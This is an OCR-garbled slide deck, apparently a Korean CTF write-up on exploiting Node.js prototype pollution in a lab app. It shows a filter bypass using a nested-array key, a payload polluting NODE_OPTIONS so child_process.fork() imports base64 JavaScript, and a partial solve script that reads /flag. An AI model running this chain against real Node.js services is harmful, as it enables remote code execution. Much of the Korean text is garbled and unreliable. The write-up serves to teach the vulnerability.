KT{ WEB HACKING WARGAME WRITE-UP }

Infinity Cloud Analytics

Node.js Prototype Pollution > Remote Code Execution

® ® @ :-ttacker@wargame: ~ CATEGORY : WEB

S python3 exploit.py
) ) TARGET : NODE.JS / EXPRESS
[*] Sending Advanced Type Confusion payload...

[+] PROOF SUCCESS: Flag found in dashboard!
GOAL : /flag RCE

0L / 24



AGENDA

2}

01

02

03

04

05

06

HE s HHA

opIR £

02 / 24



01. OVERVIEW

=M 7R

« ALY 2 A CHA| 2 E “Infinity Cloud Analytics” 714 2| web =X|

- M2 A AEZ|EOI. «A X F{ AE{OFO| Al 7| 0| M RCEZ} 7Hs SFCH (I) EXPRESS
+ Z90|0f 2ADE FR|(Express + EIS)S 2O} 3 2 HH 2 A= 3| e S
O| EHtA HEA
— 11— O 1
- SHE AMH AHO|H T2 /flag It &S &St A
EJS
: Node.js 2+ 0| A M = Cf| O|E{ S HTML LI Of
? LEVEL Unknown <I> A|7_” XOI_l_l-O:I %&I'I ?é! J_l_‘llolxl = OAo_l-clél_ _¢_

Infinity Cloud Analytics *

Web

)\A}” oHZISt %%gxl o|i| I

1008 sE1 =y

e <[>

CHILD PROCESS

fork()Z RCE E 2| A

FHEl 22 : web
sty : docker compose up —--build
=it /flag OIY 2|5
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03. BACKGROUND
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myODb j

{ theme: 'dark' }

__= ol &7 AME E=ot= M+ =& 7T
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null (M@l &)
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03. BACKGROUND

Prototype PollutionO|Zt £

oiol 7}

HMol|. ZAXIZEH T &= A= U= Z E6H Object.prototypedf 2|2 =2 HE|E F71/HZAS= FAUH

® ® ® danger example.js

// OEZHY U= 215 N3 ZE
if (user.isAdmin) {
grantAdminAccess () ;

/) SAXIE LEAZ|H. ..

Object.prototype.isAdmin = true;

// userZt HHEISH (} AN
// user.isAdmin2 true”Z} E

= user A 0f| isadmin ZET{E|Z 2| @2 HO| Q0 =, Z=2 EEFRI0
A &80} true 2 H7HE

o 1=
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04. ARCHITECTURE

ey Rx

® ® @ <trce ./src

src/

|— app.js

I— health.js

|

- views/

| L index.ejs
L package.json

(express,

// M2 AH
// fork() =

// CHAIEE

ejs)

GET /

A2 E HEH 2 (config 2f =)

POST /api/config/set

GET /api/report/generate

child_process.fork() 28 — F 2 X|™ (2)
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05. CODE REVIEW

F|2%™ ILE. setConfigPath ()

® @ ® s:c/app.js
= path.split(".') 2 Tt= 2XAIE Hi € OFCE proto /

o X Al O C
function setConfigPath (obj, path, value) { constructor / prototype = STTHEE Xl"—l-

const parts = Array.isArray (path) . 7E-|Ejloli| ?_44—_,-53_ %F(HX_IE:.! E?:I _ _E_xl_%
? path : path.split('.'"); payloadE I_-|_I?I_ 7E-IE_|XE!
let current = obj;
= StX| 2t EE ZHO0| typeof part === 'string' & Tt

|
SEBICHS FHof BEo| g

for (let i = 0; 1 < parts.length - 1; i++) {
const part = parts[i];

if (typeof part === 'string' &é&
/ (proto|constructor |prototype) /i.test (part))
return false; // — HHE X|H
if (!current[part]) current[part] = {};
current = current[part];
}
current [parts.at(-1)] = value; // sink
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06. DISCOVERY

1% AIES: O ohsiH 23] wy

proto__ .polluted

BLOCKED
HAl0| 'proto' ACHE AE > KtE
constructor.prototype.polluted

BLOCKED
'constructor’, 'prototype’ &5 AZE > Attt
__prOTO__ (CHEXH

BLOCKED
HAA 0 /i B CHARRE A > kHet
\u005£\u005£fproto\u005£\u005£f (FL|ZE O|AHO|Z)

BLOCKED

JSON I A|=0f O]0] _ proto_ £ Mt3tE > KL

[" proto "] (H{E=Z ZW F=)
SUCCESS
typeof 7} 2 Xt 0| OfL|A| £|Of ZAF KHA| 7t A ZL = —

| — |
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06. DISCOVERY

oAl E2Il.
=ao —9

: Type Confusion %2

pathE ZAFZ 0] OFH “HiZ = A4 = = Hf = 2L

® @ ® paylioad.json

® ® @ 1ode repl
"path": [ [" proto__"], "NODE_QPTIONS" ]

> [ "_proto_" ]

' proto_ '
parts[0] = ["

.toString ()
__proto_ "]  H|¥

=AtE Otg!
typeof parts[0]

=== 'string' // false - AKX 7|2 MOl &=t EAEE
4N Hetk|o] Atz &
Ml AA & - current[[" proto "]] - ~ “_ proto ~” E Hg - Object.prototype XI¢
Za}: "HE E ot SXHE 23|51X] 20, “EFQ)” XN & HHH A HALSE S 3ot}
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06. DISCOVERY

- E . (=) [
sink EM. QATE 2 O|C|IA 220|=7¢
2 Glpollution) A= A S L B — ZA O/ 2 2221 gt 0] A= £/5/of7 26/ 2= A/ &sink)” E &= A

dIE (index.ejs)

config 24 0| ACHZ 2t HO| =& &

fork('./health.js')

KA ZZ2MA M Al env 7+

JSON.stringify (config)

EE HE - HE L& H:

oot

APl 2 & O 2 config Hhst

> Ml 72| 2 & F, child_process.fork()7} L StA| “TE L3 |*WNX| 2 = Q= sink S L}
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06. DISCOVERY

child process.fork ()2 &% &

e 0o 0 de d oF . :
node docs ( ) « O] 2X|2| /api/report/generate = fork('./health.js') & & Q10| 2C{
E2=E
fork (modulePath[, args] [, options]) =
= S ZENAE BEO| process.envE “AHZE” 2= &
~ ootions envot 9loDi - 2tEHZ w20 A E2lSt= 20 for-in A€ 2% 0] A0| =0
pislont. LS 0] 220 CIg &2to| E0| 8

7|28 22 process.env AIE
- Ymxoz sAus NS

key-value =AtE HIE=

AESHM KA OA HE
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07. EXPLOIT CHAIN

LAHUA RCENX]

Object.prototype 2%
/api/report/generate 2=
A T2 MA env 7

NODE_OPTIONS M &

® 6 o note
NODE_OPTIONS Z2IHE| ¢

. o
for-int—
Al
N enumerable
child_process.fork() & &4 T2HE|E

=2| et

— process.env

. A IT 7 iIo

for-in0| &< T2 IHE|77}X| £ Xir el SHof =
HFE 240
KA envE2
S

--import=data:...;base64,... ==

/flag A0 EJs HIZEI0| 7| & > RCE
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08. SOLVE SCRIPT

ALE29 HO|ZE Z4

® ® @ cxploit.py — payload « O fs2 /flagE A1, index.ejs T L2 2XE S & flag
= X|=s5t= ?JS IS :T"_EE base64 = 913 Z
cmd = "nv

o
e £ Feom UEET = (2) --import data:text/javascript;base64,... HE{ 2

NODE_OPTIONS Zf& #4

const flag =
fs.readFileSync ('/flag', 'utf8') .trim() ; . @ /api/config/set oz Q%d _9_78 7|c_-|_/o.>
let ¢ = fs.readFileSync (
' /views/index.ejs', 'utf8'); . @ /api/report/generate DE S fork()7t LY =

AlSH Z=A| RE Al
fs.writeFileSync ('./views/index.ejs"', NODE_OPTIONSZ A E|H SA| 2E

c.replace('Infinity Cloud Dashboard', flag)); - @ |:|.||0J E-||O|X|(/) XHR’S‘ N ;qg.% templateoﬂkl flag gp
o)

mmn

payload = {
"path": [["__proto__ "], "NODE OPTIONS"],
"value": f"--import data:...;base64,{b64}"
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09. LIVE DEMO

MF MY Za

® ® @ S python3 exploit.py

Sending Advanced Type Confusion payload...

]

*] Pollution Status: success
] Triggering RCE via child process.fork() ...
]

Verifying Result...
[+] PROOF SUCCESS: Flag found in dashboard!
[+] FLAG: KT{wlsWk answp aksemsmstkfka whsrudgody prototype pollution rce}

A =Z BE A exploit.py E HEFE ETIA €5 01 257/ 45 2=
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09. LIVE DEMO

Ep2AEl. Zioh 0

g base64 payload ZO|

H5F 2l AE S base64Z S22 W 278 of|C/8IE| Motof| 28 > ZES X210l A off 2

g Node H‘P&' X|-0|

—-import &2 Node H{ M 0f [t2t 20| &2t Dockerfile Ol Al node:20-slim2 2 178

g fork () ERO|® O]+

report/generate & & 0| 27| T 0 flag =t QIS A|=SIH OF&] Bt A TO|2t I 5> =Xt 2F o= S|4
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11. MAKING-OF

H& 1pd & EFQZiel
‘ ofojc|of A
‘ 1X} 2 EE}Q

Docker®} & H|E =H|

‘ L2 Zo|HAE

2 M| cve Ate] 2[MA], EE ?2[ > ree T =HY

I Q= RO R 7|2 2% > RCE M| Q1 SE =0l

MY TE 4, L2 7 3K $E2 ol £

SEOA 228310 F0] A2t

A%
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o
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Mf>
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2

for_user/for_admin = 2|, Dockerfile % README "3 2|
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